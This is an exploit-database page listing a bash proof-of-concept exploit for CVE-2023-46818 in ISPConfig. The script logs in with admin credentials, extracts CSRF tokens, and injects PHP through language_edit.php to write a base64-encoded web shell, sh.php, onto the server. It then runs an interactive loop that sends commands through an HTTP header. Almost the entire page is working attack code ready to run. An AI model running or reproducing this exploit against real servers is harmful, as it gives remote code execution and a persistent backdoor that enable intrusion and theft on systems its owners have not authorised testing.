Exploit databaseDownload repository ZIP
GH-8c954069ffbfc648a0372bd57f7bd167
rvzsec/cve-2023-46818
Sources for CVE-2023-46818
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
rvzsec/cve-2023-46818Revision d6c869e4516a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.sh
Shell · 2,704 bytes#!/bin/bash
# Title : ISPConfig - PHP Code Injection PoC Exploit (Bash)
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : ./exploit.sh <url> <username> <password>
# Credits : Egidio Romano (aka EgiX)
set -e
URL="$1"
USER="$2"
PASS="$3"
if [[ $# -ne 3 ]]; then
echo "usage: ./exploit_final.sh <url> <username> <password>"
exit 1
fi
echo "[*] normalizing url..."
URL="${URL%/}/"
COOKIE_FILE="cookies.txt"
LANG_FILE="$(tr -dc a-z </dev/urandom | head -c8).lng"
SHELL_NAME="sh.php"
echo "[*] cleaning previous session and preparing temp files..."
rm -f "$COOKIE_FILE"
echo "[*] logging in as user: '$USER'"
LOGIN_RESP=$(curl -sk -c "$COOKIE_FILE" -d "username=$USER&password=$PASS&s_mod=login" "${URL}login/")
LOGIN_FAILED=$(echo "$LOGIN_RESP" | grep -qi 'Username or Password wrong'; echo $?)
if [[ $LOGIN_FAILED -eq 0 ]]; then
echo "[-] login failed: invalid credentials"
exit 1
fi
echo "[+] login successful"
echo "[*] random language file to trigger injection: $LANG_FILE"
echo "[*] sending language edit request to fetch CSRF tokens..."
RESPONSE=$(curl -sk -b "$COOKIE_FILE" -d "lang=en&module=help&lang_file=$LANG_FILE" "${URL}admin/language_edit.php")
CSRF_ID=$(echo "$RESPONSE" | grep -oP '_csrf_id" value="\K[^"]+')
CSRF_KEY=$(echo "$RESPONSE" | grep -oP '_csrf_key" value="\K[^"]+')
if [[ -z "$CSRF_ID" || -z "$CSRF_KEY" ]]; then
echo "[-] csrf token extraction failed"
exit 1
fi
echo "[+] csrf_id = $CSRF_ID"
echo "[+] csrf_key = $CSRF_KEY"
echo "[*] building php web shell payload using base64 encoding with ____ markers"
PHP_PAYLOAD="<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>"
ENCODED=$(echo -n "$PHP_PAYLOAD" | base64 -w0)
echo "[*] base64 payload: $ENCODED"
INJECT="'];file_put_contents('$SHELL_NAME',base64_decode('$ENCODED'));die;#"
ENCODED_INJECT=$(printf '%s' "$INJECT" | jq -s -R -r @uri)
echo "[*] sending injection payload using POST to language_edit.php"
curl -sk -b "$COOKIE_FILE" -d "lang=en&module=help&lang_file=$LANG_FILE&_csrf_id=$CSRF_ID&_csrf_key=$CSRF_KEY&records[%5C]=$ENCODED_INJECT" "${URL}admin/language_edit.php" > /dev/null
echo "[+] shell has been deployed to: ${URL}admin/$SHELL_NAME"
echo "[*] starting interactive shell. type 'exit' to quit."
while true; do
echo -en "ispconfig-shell# "
read -r CMD || continue
[[ "$CMD" == "exit" ]] && break
ENCODED=$(echo -n "$CMD" | base64 -w0)
RESP=$(curl -sk -H "C: $ENCODED" "${URL}admin/$SHELL_NAME")
PAYLOAD=$(echo "$RESP" | grep -ozP '(?<=____)(.|\n)*?(?=____)' | tr -d '\0')
if [[ -n "$PAYLOAD" ]]; then
echo "$PAYLOAD"
else
echo "[!] no output detected, raw response below:"
echo "$RESP"
fi
echo ""
done